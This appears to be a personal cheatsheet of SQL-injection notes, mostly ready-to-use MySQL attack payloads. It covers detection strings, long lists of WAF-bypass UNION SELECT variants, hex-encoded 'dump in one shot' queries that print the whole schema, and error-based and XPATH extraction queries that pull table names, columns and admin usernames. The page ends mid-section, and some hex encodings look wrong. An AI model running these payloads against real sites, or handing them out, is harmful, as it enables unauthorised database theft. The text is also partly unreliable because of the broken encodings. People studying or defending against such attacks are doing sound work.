SQL - Structured Query Language
Goal is to master SQL Injection Discovery, Detection and Exploitation
- Footnotes:
- Advanced SQL Injection Cheatsheet
- Rigorous Google Dorking
- Reddit Dorking
- Web Security Academy - SQL Injection
- My Brain + My Experience + My Logic
- Learning a lil' bit of SQL
- SQL Injection Methodology Overview
- MYSQL Injection Methodology
- MySQL Error or UNION Based SQLi
- Routed Queries (Advanced WAF Bypass for Error or UNION based MySQLi)
- WorkAround when UNION queires doesn't work (MySQL Error Based SQLi)
- The Alternative ways of using `AND/OR 0` in SQLi
- The Alternative ways of using `NULL` in SQLi
- The Alternative way of using `WhiteSpace` in SQLi
- MySQL Boolean Based Blind SQLi
- MySQL Time Based Blind SQLi
- Codewars SQL (Google it!)
- Stratascratch SQL
- pgexercises.com/questions/basic
- app.sixweeksql.com
- mystery.knightlab.com
- schemaverse.com
- mode.com/sql-tutorial
- advancedsqlpuzzles.com
- www.w3schools.com/sql/exercise.asp
- bipp.io/sql-tutorial
- learnsql.com
- selectstarsql.com
- www.sql-ex.ru
- www.sqlservercentral.com/stairways
- Some important SQL Commands:
> - `SELECT` - extracts data from a database
> - `UPDATE` - updates data in a database
> - `DELETE` - deletes data from a database
> - `INSERT INTO` - inserts new data into a database
> - `CREATE DATABASE` - creates a new database
> - `ALTER DATABASE` - modifies a database
> - `CREATE TABLE` - creates a new table
> - `ALTER TABLE` - modifies a table
> - `DROP TABLE` - deletes a table
> - `CREATE INDEX` - creates an index (search key)
> - `DROP INDEX` - deletes an index
- Find Injection Point
- Understand the Website behavior
- Send queries for enumeration
- Understanding WAF & bypass it
- Dump the database
This one is the easiest of all SQLi attacks.
- SQLi Detection (No WAF):
- Website Loads successfully
https://www.example.com/index.php?id=1
- You'll get an error:
https://www.example.com/index.php?id=1'https://www.example.com/index.php?id=1\'https://www.example.com/index.php?id=-1'https://www.example.com/index.php?id=-1)'
- Website loads successfully:
https://www.example.com/index.php?id=1 and 0' order by 1--+https://www.example.com/index.php?id=2-1
- Website might load successfully, but might also show error
https://www.example.com/index.php?id=-1'-- -https://www.example.com/index.php?id=1'--https://www.example.com/index.php?id=1+--+
- Payload:
' \' )' " \" )" ;
- SQLi Detection (Bypassing WAF + if the above Methodology didn't work)
- In some cases, WAF won't let you to cause errors on the website, so sending special queries might be needed to bypass WAF. If no WAF warnings are shown and website loads successfully, we can confirm that the vulnerability exists.
- We should try the following payloads.
https://www.example.com/index.php?id=1'--/**/- https://www.example.com/index.php?id=/*!500001'--+-*/ https://www.example.com/index.php?id=1/^.*1'--+-.*$/ https://www.example.com/index.php?id=1'--/*--*/- https://www.example.com/index.php?id=1'--/*&a=*/- https://www.example.com/index.php?id=1'--/*1337*/- https://www.example.com/index.php?id=1'--/**_**/- https://www.example.com/index.php?id=1'--%0A- https://www.example.com/index.php?id=1'--%0b- https://www.example.com/index.php?id=1'--%0d%0A- https://www.example.com/index.php?id=1'--%23%0A- https://www.example.com/index.php?id=1'--%23foo%0D%0A- https://www.example.com/index.php?id=1'--%23foo*%2F*bar%0D%0A- https://www.example.com/index.php?id=1'--#qa%0A#%0A- https://www.example.com/index.php?id=/*!20000%0d%0a1'--+-*/ https://www.example.com/index.php?id=/*!blobblobblob%0d%0a1'--+-*/
- Payloads
'--/**/- /*!500001'--+-*/ /^.*1'--+-.*$/ '--/*--*/- '--/*&a=*/- '--/*1337*/- '--/**_**/- '--%0A- '--%0b- '--%0d%0A- '--%23%0A- '--%23foo%0D%0A- '--%23foo*%2F*bar%0D%0A- '--#qa%0A#%0A- /*!20000%0d%0a1'--+-*/ /*!blobblobblob%0d%0a1'--+-*/
- Exploitation:
- Finding the number of columns using 'Order by' query:
https://www.example.com/index.php?id=1 order by 1-- - : no error https://www.example.com/index.php?id=1 order by 2-- - : no error https://www.example.com/index.php?id=1 order by 3-- - : no error https://www.example.com/index.php?id=1 order by 4-- - : no error https://www.example.com/index.php?id=1 order by 5-- - : error
- This means there are only 4 columns. Now we go ahead and find which of these 4 columns have information.
- Another way:
' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- etc.
- Finding the vulnerable column where information are stored using 'UNION SELECT' query
' UNION SELECT 'a',NULL,NULL,NULL-- ' UNION SELECT NULL,'a',NULL,NULL-- ' UNION SELECT NULL,NULL,'a',NULL-- ' UNION SELECT NULL,NULL,NULL,'a'--
- If the data type of a column is not compatible with string data, the injected query will cause a database error, such as:
Conversion failed when converting the varchar value 'a' to data type int.
- If an error does not occur, and the application's response contains some additional content including the injected string value, then the relevant column is suitable for retrieving string data.
- Finding vulnerable Column (WAF Bypass):
/*!50000%55nIoN*/ /*!50000%53eLeCt*/ 1,2,3,4-- - %55nion(%53elect 1,2,3) 1,2,3,4-- - +union+distinctROW+select+1,2,3,4--+- + #?uNiOn + #?sEleCt 1,2,3,4-- - + #?1q %0AuNiOn all#qa%0A#%0AsEleCt 1,2,3,4-- - /*!%55NiOn*/ /*!%53eLEct*/ 1,2,3,4-- - +un/**/ion+se/**/lect 1,2,3,4-- - +?UnI?On?+'SeL?ECT? 1,2,3,4-- - +(UnIoN)+(SelECT)+1,2,3,4--+- +UnIoN/*&a=*/SeLeCT/*&a=*/ 1,2,3,4-- - %55nion(%53elect 1,2,3,4)-- - /**//*!12345UNION SELECT*//**/ 1,2,3,4-- - /**//*!50000UNION SELECT*//**/ 1,2,3,4-- - /**/UNION/**//*!50000SELECT*//**/ 1,2,3,4-- - /*!50000UniON SeLeCt*/ 1,2,3,4-- - union /*!50000%53elect*/ 1,2,3,4-- - /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4-- - /*--*/union/*--*/select/*--*/ 1,2,3,4-- - union (/*!/**/ SeleCT */ 1,2,3,4)-- - /*!union*/+/*!select*/ 1,2,3,4-- - /**/uNIon/**/sEleCt/**/ 1,2,3,4-- - +%2F**/+Union/*!select*/ 1,2,3,4-- - /**//*!union*//**//*!select*//**/ 1,2,3,4-- - /*!uNIOn*/ /*!SelECt*/ 1,2,3,4-- - /**/union/*!50000select*//**/ 1,2,3,4-- - 0%a0union%a0select%09 1,2,3,4-- - %0Aunion%0Aselect%0A 1,2,3,4-- - uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ 1,2,3,4-- - %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/ 1,2,3,4-- - /*!union*//*--*//*!all*//*--*//*!select*/ 1,2,3,4-- - union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C 1,2,3,4-- - /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ 1,2,3,4-- - +UnIoN/*&a=*/SeLeCT/*&a=*/ 1,2,3,4-- - union+sel%0bect 1,2,3,4-- - +#1q%0Aunion all#qa%0A#%0Aselect 1,2,3,4-- - %23xyz%0AUnIOn%23xyz%0ASeLecT+ 1,2,3,4-- - %23xyz%0A%55nIOn%23xyz%0A%53eLecT+ 1,2,3,4-- - union(select(1),2,3)-- - uNioN (/*!/**/ SeleCT */ 11) 1,2,3,4-- - /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/ 1,2,3,4-- - %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/ 1,2,3,4-- - +union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C 1,2,3,4-- - /*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/ 1,2,3,4-- - +UnIoN/*&a=*/SeLeCT/*&a=*/ 1,2,3,4-- - +/*!UnIoN*/+/*!SeLeCt*/+ 1,2,3,4-- - /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4-- - uni%20union%20/*!select*/%20 1,2,3,4-- - union%23aa%0Aselect 1,2,3,4-- - /**/union/*!50000select*/ 1,2,3,4-- - /^****union.*$/ /^****select.*$/ 1,2,3,4-- - /*union*/union/*select*/select+ 1,2,3,4-- - /*!50000UnION*//*!50000SeLeCt*/ 1,2,3,4-- - %252f%252a*/union%252f%252a /select%252f%252a*/ 1,2,3,4-- - AnD null UNiON SeLeCt 1,2,3,4;%00-- - AnD null UNiON SeLeCt 1,2,3,4+--+- And False Union Select 1,2,3,4+--+-
- Dumping the Database using DIOS (Dump in one shot):
concat/*!(0x223e,version(),(select(@)+from+(selecT(@:=0x00),(select(0)+from+(/*!information_Schema*/.columns)+where+(table_Schema=database())and(0x00)in(@:=concat/*!(@,0x3c62723e,table_name,0x3a3a,column_name))))x))*/ concat/*!(0x3c68323e20496e6a656374657220414c49454e205348414e553c2f68323e,0x3c62723e,version(),(Select(@)+from+(selecT(@:=0x00),(select(0)+from+(/*!information_Schema*/.columns)+where+(table_Schema=database())and(0x00)in(@:=concat/*!(@,0x3c62723e,table_name,0x3a3a,column_name))))x))*/ concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c696d67207372633d2268747470733a2f2f312e62702e626c6f6773706f742e636f6d2f2d456262354b36356f4a49552f56336171695854394671492f41414141414141414353452f76475977714c6c504f73733251574c376e335874794a5376515a2d367a41672d77434c63422f73313630302f486f77253242746f253242496e637265617365253242496e7465726e657425324242726f77736572732532425370656564253242696e25324255726475253242616e6425324248696e6469253242566964656f2532425475746f7269616c2e504e47223e3c666f6e7420636f6c6f723d7265642073697a653d353e3c623e4d722e73696c656e7420636f646572203c666f6e7420636f6c6f723d626c61636b2073697a653d343e2866336d6178293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c6669656c647365743e3c7374726f6e673e3c62723e3c63656e7465723e3c623e3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e20203c666f6e7420636f6c6f723d626c61636b3e,version(),0x7e20,@@version_comment,0x3c2f666f6e743e,0x3c62723e5072696d617279204461746162617365203c666f6e7420636f6c6f723d626c61636b3e20203a3a,@d:=database() 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- (WAF Bypass) Dumping the Database using DIOS (Dump in one shot):
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concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/ (/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a) /*!00000concat*/(0x3c666f6e7420666163653d224963656c616e6422207374796c653d22636f6c6f723a7265643b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a6563746564206279204468346e692056757070616c61203c2f666f6e743e3c62723e3c666f6e7420636f6c6f723d70696e6b2073697a653d353e44622056657273696f6e203a20,version(),0x3c62723e44622055736572203a20,user(),0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x))
- How to make DIOS payload?
- Suppose you used ' UNION SELECT 'a',NULL,NULL,NULL--` and discovered that you'll be able to retrive database information from first column
- Now paste the DIOS payload in that column
- Your final payload will be:
' Union Select concat/*!(0x223e,version(),(select(@)+from+(selecT(@:=0x00),(select(0)+from+(/*!information_Schema*/.columns)+where+(table_Schema=database())and(0x00)in(@:=concat/*!(@,0x3c62723e,table_name,0x3a3a,column_name))))x))*/,null, null, null-- -
- Dumping using the traditional method:
- Traditional Way:
- dump database()
- then tables()
- then columns()
- Retrieving the database:
- Replace the column that worked with the
database()function' UNION SELECT database(), null, null, null --
- Retrieving the tables:
- Convert the database name into 0xHEX.
- Fox example, db109 to
0x6462313039- Online Converter: https://www.hurgh.org/ascbinhex.php
- Dumping table:
(SELECT+GROUP_CONCAT(table_name+SEPARATOR)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x6462313039)
- Final Payload:
' UNION Select (SELECT+GROUP_CONCAT(table_name+SEPARATOR)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x6462313039), null, null, null--
- Just in case if it didn't work for any reason:
(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)
- WAF Bypass:
(/*!%53ELECT*/+/*!50000GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)*//**//*!%46ROM*//**//*!INFORMATION_SCHEMA.TABLES*//**//*!%57HERE*//**//*!TABLE_SCHEMA*//**/LIKE/**/DATABASE())
- Retrieving Columns:
- Convert interested table name into 0xHEX
- For example,
intranetdirto0x696e7472616e6574646972(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x696e7472616e6574646972)Alternatively
(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME=0x696e7472616e6574646972)AND(0x00)IN(@x:=concat(@x,CONCAT(LPAD(@NR:=@NR%2b1,2,0x30),0x3a20,column_name,0x3c62723e)))))x)
- WAF Bypass
(/*!%53ELECT*/+/*!50000GROUP_CONCAT(column_name%20SEPARATOR%200x3c62723e)*//**//*!%46ROM*//**//*!INFORMATION_SCHEMA.COLUMNS*//**//*!%57HERE*//**//*!TABLE_NAME*//**/LIKE/**/0x696e7472616e6574646972)
- Retrieving the data inside the column
- Convert database name, table name and column name to 0xHEX
- Suppose:
- database:
db109- table:
intranetdir- column:
name- We can use:
(SELECT+GROUP_CONCAT(name+SEPARATOR+0x3c62723e)+FROM+db109.intranetdir)(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(db109.intranetdir)WHERE(@x)IN(@x:=CONCAT(0x20,@x,name,0x3c62723e))))x)(SELECT+GROUP_CONCAT(0x3c62723e,name)+FROM (db109.intranetdir))
- WAF Bypass:
(/*!%53ELECT*/+/*!50000GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)*//**//*!%46ROM*//**//*!INFORMATION_SCHEMA.TABLES*//**//*!%57HERE*//**//*!TABLE_SCHEMA*//**/LIKE/**/DATABASE())(/*!%53ELECT*/+/*!50000GROUP_CONCAT(column_name%20SEPARATOR%200x3c62723e)*//**//*!%46ROM*//**//*!INFORMATION_SCHEMA.COLUMNS*//**//*!%57HERE*//**//*!TABLE_NAME*//**/LIKE/**/0x6e616d65)(/*!%53ELECT*/(@x)FROM(/*!%53ELECT*/(@x:=0x00),(@NR:=0),(/*!%53ELECT*/(0)/*!%46ROM*/(/*!%49NFORMATION_%53CHEMA*/./*!%54ABLES*/)/*!%57HERE*/(/*!%54ABLE_%53CHEMA*//**/NOT/**/LIKE/**/0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=/*!CONCAT%0a(*/@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,/*!%74able_%6eame*/,0x3c62723e))))x)
- If the WAF is difficult to bypass using above queries, the routed one's might work for us.
- Identifying which column is vulnerable to be dumped.
https://www.example.com/index.php?id=-1 UNION SELECT 0x3127, 2, 3, 4 https://www.example.com/index.php?id=-1 UNION SELECT 1, 0x3227, 3, 4 https://www.example.com/index.php?id=-1 UNION SELECT 1, 2, 0x3327, 4 https://www.example.com/index.php?id=-1 UNION SELECT 1, 2, 3, 0x3427
- Where:
0xHEX to ASCII Conversions: 0x3127 == 1' 0x3227 == 2' 0x3327 == 3' 0x3427 == 4'
- If any of the payload gives error, it means that the respective column is vulnerable to be dumped.
- WAF Bypasses (Just Replace Union Select with these ones):
/*!50000%55nIoN*/ /*!50000%53eLeCt*/ %55nion(%53elect 1,2,3) union+distinctROW+select+1,2,3,4-- - #?uNiOn + #?sEleCt #?1q %0AuNiOn all#qa%0A#%0AsEleCt /*!%55NiOn*/ /*!%53eLEct*/ +un/**/ion+se/**/lect +?UnI?On?+'SeL?ECT? (UnIoN)+(SelECT)+1,2,3,4-- - +UnIoN/*&a=*/SeLeCT/*&a=*/ %55nion(%53elect 1,2,3,4)-- - /**//*!12345UNION SELECT*//**/ /**//*!50000UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ /*!50000UniON SeLeCt*/ union /*!50000%53elect*/ /*!u%6eion*/ /*!se%6cect*/ /*--*/union/*--*/select/*--*/ union (/*!/**/ SeleCT */ 1,2,3,4)-- - /*!union*/+/*!select*/ /**/uNIon/**/sEleCt/**/ +%2F**/+Union/*!select*/ /**//*!union*//**//*!select*//**/ /*!uNIOn*/ /*!SelECt*/ /**/union/*!50000select*//**/ 0%a0union%a0select%09 %0Aunion%0Aselect%0A uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/ /*!union*//*--*//*!all*//*--*//*!select*/ union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ +UnIoN/*&a=*/SeLeCT/*&a=*/ union+sel%0bect +#1q%0Aunion all#qa%0A#%0Aselect %23xyz%0AUnIOn%23xyz%0ASeLecT+ %23xyz%0A%55nIOn%23xyz%0A%53eLecT+ union(select(1),2,3) uNioN (/*!/**/ SeleCT */ 11) /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/ %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/ +union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C /*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/ +UnIoN/*&a=*/SeLeCT/*&a=*/ +/*!UnIoN*/+/*!SeLeCt*/+ /*!u%6eion*/ /*!se%6cect*/ uni%20union%20/*!select*/%20 union%23aa%0Aselect /**/union/*!50000select*/ /^****union.*$/ /^****select.*$/ /*union*/union/*select*/select+ /*!50000UnION*//*!50000SeLeCt*/ %252f%252a*/union%252f%252a /select%252f%252a*/
- Final payload will look something like this:
https://www.example.com/index.php?id=-1 /*!50000%55nIoN*/ /*!50000%53eLeCt*/ 1, 0x3227, 3, 4
- Finding the total number of columns using (ORDER BY) after finding the vulnerable column that can give us information:
- Building Payload:
- Starting with the basic syntax of queries:
and 0e0union distinctROW select 1,2,3,4 and .0unIon distinctrOw /*!50000sElect*/ 1,2,3,4 AnD point(29,9) /*!50000UnION*/ /*!50000SelEcT*/ 1,2,3,4 and mod(9,9) UNION SELECT 1,2,3,4 '-,1union distinctrow%23aaaaaaaaaaaaaaa%0a select 1,2,3,4 .0union distinct/**_**/Select 1,2,3,4 union distinct selec%54 1,2,3,4 UniOn DISTINCTROW sEleCt 1,2,3,4 union distinct select 1,2,3,4 union distinctROW select 1,2,3,4
- So the final query will look like:
https://www.example.com/index.php?id=-1 AnD point(29, 9) /*!50000UnION*/ /*!50000SelEcT*/ 1,2,3,4
- Suppose second column was vulnerable for the data to be dumped.
- We'll now replace it with
0x32204f524445522042592031
- where
0x32204f524445522042592031==2 ORDER BY 1(0xHEX converted)https://www.example.com/index.php?id=-1 AnD point(29,9) /*!50000UnION*/ /*!50000SelEcT*/ 1,0x32204f524445522042592031,3,4
- In
2 ORDER by 1, 2 coz 2nd table is vulnerable and 1 is ordering by column position- The payload must not show errors until we increase the number more than the number of columns
- For example:
2 ORDER BY 1 -> 0x32204f524445522042592031 2 ORDER BY 2 -> 0x32204f524445522042592032 2 ORDER BY 3 -> 0x32204f524445522042592033 2 ORDER BY 4 -> 0x32204f524445522042592034 2 ORDER BY 5 -> 0x32204f524445522042592035 2 ORDER BY 6 -> 0x32204f524445522042592036 2 ORDER BY 7 -> 0x32204f524445522042592037 2 ORDER BY 8 -> 0x32204f524445522042592038 and so on... (until you get error)
- Suppose we got error on
2 ORDER BY 8, that means the table has 7 columns.
- Finding the vulnerable column (again) to be able to dump data that we need (can be used as an alternative to above
Identifying which column is vulnerable to be dumped.):
- Now, from the previous example we know that there are 7 columns
- Adjusting our payload to select 7 columns.
2 and 0e0union distinctROW select 1,2,3,4,5,6,7 2 and .0unIon distincrOw /!50000sElect/ 1,2,3,4,5,6,7 2 AnD point(29,9) /!50000UnION/ /!50000SelEcT/ 1,2,3,4,5,6,7 2 '-,1union distinctrow%23aaaaaaaaaaaaaaa%0a select 1,2,3,4,5,6,7 2 .0union distinct/**_**/Select 1,2,3,4,5,6,7 2 union distinct selec%54 1,2,3,4,5,6,7 2 UniOn DISTINCTROW sEleCt 1,2,3,4,5,6,7 2+union+distinct+select+1,2,3,4,5,6,7 2+union+distinctROW+select+1,2,3,4,5,6,7
- We will have to convert these queires to 0xHEX
0x3720616e6420306530756e696f6e2064697374696e6374524f572073656c65637420312c322c332c342c352c362c37 0x3720616e64202e30756e496f6e2064697374696e63724f77202f2a21353030303073456c6563742a2f20312c322c332c342c352c362c37 0x3720416e4420706f696e742832392c3929202f2a213530303030556e494f4e2a2f202f2a21353030303053656c4563542a2f20312c322c332c342c352c362c37 0x3720272d2c31756e696f6e2064697374696e6374726f772532336161616161616161616161616161612530612073656c65637420312c322c332c342c352c362c37 0x37202e30756e696f6e2064697374696e63742f2a2a5f2a2a2f53656c65637420312c322c332c342c352c362c37 0xa3720756e696f6e2064697374696e63742073656c656325353420312c322c332c342c352c362c37 0x3720556e694f6e2044495354494e4354524f572073456c65437420312c322c332c342c352c362c37 0x372b756e696f6e2b64697374696e63742b73656c6563742b312c322c332c342c352c362c37 0x372b756e696f6e2b64697374696e6374524f572b73656c6563742b312c322c332c342c352c362c37
- Modifying our payload:
https://www.example.com/index.php?id=-1 AnD point(29,9) /*!50000UnION*/ /*!50000SelEcT*/ 1,0x3720416e4420706f696e742832392c3929202f2a213530303030556e494f4e2a2f202f2a21353030303053656c4563542a2f20312c322c332c342c352c362c37,3,4
- Modifying the query according to our needs will give us our vulnerable column number. Suppose, let it be column no. 6 for our next scenario
- Dumping the data using vulnerable column
- Our payload was:
1 AnD point(29,9) /*!50000UnION*/ /*!50000SelEcT*/ 1,2,3,4,5,6,7
- Suppose column no. 6 was vulnerable, we simply need to replace it with the 0xHEX Conversion of concat(), DIOS or any other payload according to our need.
- For example:
1 AnD point(29,9) /*!50000UnION*/ /*!50000SelEcT*/ 1,2,3,4,5,database(),7
- Convert it to 0xHEX and paste it in the next payload
https://www.example.com/index.php?id=-1 AnD point(29,9) /*!50000UnION*/ /*!50000SelEcT*/ 1,0x3720416e4420706f696e742832392c3929202f2a213530303030556e494f4e2a2f202f2a21353030303053656c4563542a2f20312c322c332c342c352c646174616261736528292c37,3,4OR
http://domain.com/index.php?id=-1 AnD point(29,9) /*!50000UnION*/ /*!50000SelEcT*/ 1,2,3,4,5, 0x64617461626173652829, 7
- where
0x64617461626173652829 == database()
- Method No. 1:
- Retrieving database version directly:
+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1--+-
- Example:
https://www.example.com/index.php?id=1' +OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1--+-
- Retrieving database name:
+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)-- -
- Retrieving Tables:
+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=0x7461626c655f6e616d65+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)-- -
- Where:
0x7461626c655f6e616d65 == table_name- Modify the value of
LIMIT+0,1acordingly to be able to retrive required table names
- Retrieving Columns
- Convert the value of database name, table name(s) to 0xHEX. Suppose:
litoflex -> 0x6c69746f666c6578 username -> 0x757365726e616d65
- Then:
+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x757365726e616d65+AND+table_schema=0x6c69746f666c6578+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)-- -
- Modify the value of
LIMIT+0,1accordingly to be able to retrive different columns
- Method No. 2: using XPATH queries
- Retrieving database version:
and extractvalue(0x0a,concat(0x0a,(select version())))-- -and updatexml(null,concat(0x0a,(select version())),null)-- -
- Retrieving database name:
and extractvalue(0x0a,concat(0x0a,(select database())))-- -and updatexml(null,concat(0x0a,(select database())),null)-- -
- Retrieving tables
and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))-- -and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),null)-- -
- Modify the value of
limit 0,1accordingly to be able to retrieve required table
- Retrieving Columns
- Convert database and table name into 0xHEX value
database: AUX_db -> 0xa4155585f6462 table: AUX_column1 -> 0x4155585f636f6c756d6e31and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=0x4155585f6462 and table_name=0x4155585f636f6c756d6e31 limit 0,1)))-- -and updatexml(null,concat(0x0a,(select column_name from information_schema.columns where table_schema=0x4155585f6462 and table_name=0x4155585f636f6c756d6e31 limit 0,1)),null)-- -
- Retrieving data inside columns
- Suppose we retrieved
admin_usernamefrom previous queries then:and extractvalue(0x0a,concat(0x0a,(select concat(admin_username) from AUX_db.AUX_column1 limit 0,1)))and updatexml(0x0a,concat(0x0a,(select concat(admin_username) from AUX_db.AUX_column1 limit 0,1)))
- Traditional Way of using
AND/OR 0
and 1=0 and false and 0 and 50=60 any number that are not the same will equal to (0, false, null)
- The Alternative Way of using
0inAND/OR 0(for WAF bypass)
- Using char() for 0, null, false values
and char(0) and char(false) and char(null)
- For Example:
https://www.example.com/index.php?id=1 and char(0) Union Select '1 and char(0) union select 1,2,group_concat(0x3c6c693e,table_name,0x203a3a20,column_name),4,5,6 from information_schema.columns where table_schema=database()',2,3,4,5,6--+-
- Any Mathematical/arithmetic or logical problems that are equal to 0
and 1*0 and 1-1 and 0/1
- For example:
https://www.example.com/index.php?id=1 and 1*0 order by 1--
- Using mod()
and mod(29,9)
- Using point()
and point(29,9)
- Using nullif()
nullif(1337, 1337)
- The Alternative Way of using
AND/ORinAND/OR 0(for WAF bypass)
% == Modulo & == Bitwise And && == Logical And | == Bitwise Or || == Logical Or
- Example:
